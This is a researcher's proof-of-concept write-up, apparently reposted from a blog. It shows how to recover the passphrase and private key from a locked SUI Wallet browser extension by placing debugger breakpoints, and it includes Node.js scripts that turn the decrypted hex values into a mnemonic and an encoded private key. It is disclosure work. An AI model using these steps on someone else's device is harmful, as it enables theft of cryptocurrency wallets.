Retrieving SUI Wallet Passphrase and Private Key without Password

8 months ago 74
BOOK THIS SPACE FOR AD
ARTICLE AD

Thura Moe Myint

Extension : SUI Wallet

Despite needing physical access to device, this topic will point out how secure your wallet is, if your PC is compromised or stolen.

This POC is for educational purpose only.

The sensitive data that contain hex related to entropy are automatically decrypted by SUI wallet whenever you attempt to unlock your account or perform any other function.

This caused by the function getEphemeralValue() . After that, the function getEncryptedFromSessionStorage will executed and the sensitive data that contains entropyHex and mnemonicSeedHex will be decrypted.

entropyHex is used to make a passphrase, while mnemonicSeedHex is used to make a private key.

Now, I will demonstrate how to obtain the private key and passphrase without requiring a password or unlocking, by the help of the Chrome debugging tool.

First, create a wallet for testing, then lock the account.

After that, set breakpoints at the indicated lines in keystore.ts.

Then, click unlock account.

Due to the wallet executing getEphemeralValue, a cipher and password are decrypted, which retrieves the encrypted value and password from session storage and decrypts them.

Click continue button in the debugger to check the return decrypted value from metamaskDecrypt .

The following image shows the return value from metamaskDecrypt function that contains entropyHex and mnemonicSeedHex.

Both of the following data are related to exporting passphrase and private key.

So, first let’s see how is entropyHex being generated.

entropyHex is generated by using entropyToSerialized.

If you want the passphrase value, the entropyHex should be converted to entropy.

I checked what function could convert entropyHex to passphrase and found that the following two functions.

In short, this converts the hex to bytes, and by using bytes it will convert to mnemonic.

I created the following script to make it easier to generate using the entropy hex.

const { hexToBytes } = require('@noble/hashes/utils');
const bip39 = require('@scure/bip39');
const { wordlist } = require('@scure/bip39/wordlists/english');

function toEntropy(serializedEntropy) {
return hexToBytes(serializedEntropy);
}

function entropyToMnemonic(entropy) {
return bip39.entropyToMnemonic(Buffer.from(entropy), wordlist);
}

const serializedEntropy = "";
const entropy = toEntropy(serializedEntropy);
const mnemonic = entropyToMnemonic(entropy).split(' ');

console.log(mnemonic);

To use the script, you may need to install some require dependencies.

Put the hex value in serializedEntropy then run the script, it will give the passphrase of the wallet.

Compare the decrypted passphrase and the passphrase in SUI wallet by using password.

Successfully retrieved the passphrase of the wallet without unlocking account. Now, let’s move on into private key.

mnemonicSeedHex is created by mnemonicToSeedHex(entropyToMnemonic(entropy).

I tried to find in the function to retrieve the private key from it and found the following functions is used to create private key.

derivationPath is needed to generate the key pair from the seed. Fortunately, derivationPath is also saved on IndexedDB of the extension that you could access without any protection.

Now, both of the requirements are fulfilled; however, the following function would only generate keypair bytes, so it is needed to convert into SUI private key format.

function deriveKeypairFromSeed(mnemonicSeedHex, derivationPath) {
return Ed25519Keypair.deriveKeypairFromSeed(mnemonicSeedHex, derivationPath);
}

SUI wallet use the following functions to generate its private key.

I created the following script to make it easier to generate.

I also discovered that while generating SUI private key, SUI wallet slice the private key size from 64 to 32.

const { Ed25519Keypair } = require('@mysten/sui.js/keypairs/ed25519');
const { bech32 } = require('bech32');

const SUI_PRIVATE_KEY_PREFIX = 'suiprivkey';
const PRIVATE_KEY_SIZE = 32;

function deriveKeypairFromSeed(mnemonicSeedHex, derivationPath) {
return Ed25519Keypair.deriveKeypairFromSeed(mnemonicSeedHex, derivationPath);
}

function encodeSuiPrivateKey(bytes, scheme) {
if (bytes.length !== PRIVATE_KEY_SIZE) {
throw new Error('Invalid bytes length');
}
const flag = 0;
const privKeyBytes = new Uint8Array(bytes.length + 1);
privKeyBytes.set([flag]);
privKeyBytes.set(bytes, 1);
return bech32.encode(SUI_PRIVATE_KEY_PREFIX, bech32.toWords(privKeyBytes));
}

module.exports = {
deriveKeypairFromSeed,
encodeSuiPrivateKey
};

const keypair = deriveKeypairFromSeed("seed", "path");
console.log(keypair);
try {
// Truncate the secret key to 32 bytes
const truncatedSecretKey = keypair.keypair.secretKey.slice(0, PRIVATE_KEY_SIZE);

// Encode the truncated private key into SUI format
const encodedPrivateKey = encodeSuiPrivateKey(truncatedSecretKey);

console.log("Encoded SUI Private Key:", encodedPrivateKey);
} catch (error) {
console.error("Error encoding private key:", error.message);
}

Replace the value of seed, path and executed the script.

Comparison between the private key that is obtained by using the script and the key from the wallet extension.

While, the vulnerability discussed might requires physical access to users’ devices, but users’ should be aware. Physical access vulnerabilities are not to be underestimated, as they can still be exploited under various scenarios, including theft, lost devices, unauthorized access to shared computers or compromising users computer.

The SUI team marked this as informative, as targeted physical access to the devices is usually hard to execute. However, many computers are compromised every day, which could make physical access unnecessary and potentially breach the wallet.

Regards,

Thura Moe Myint (@mgthuramoemyint)

Read Entire Article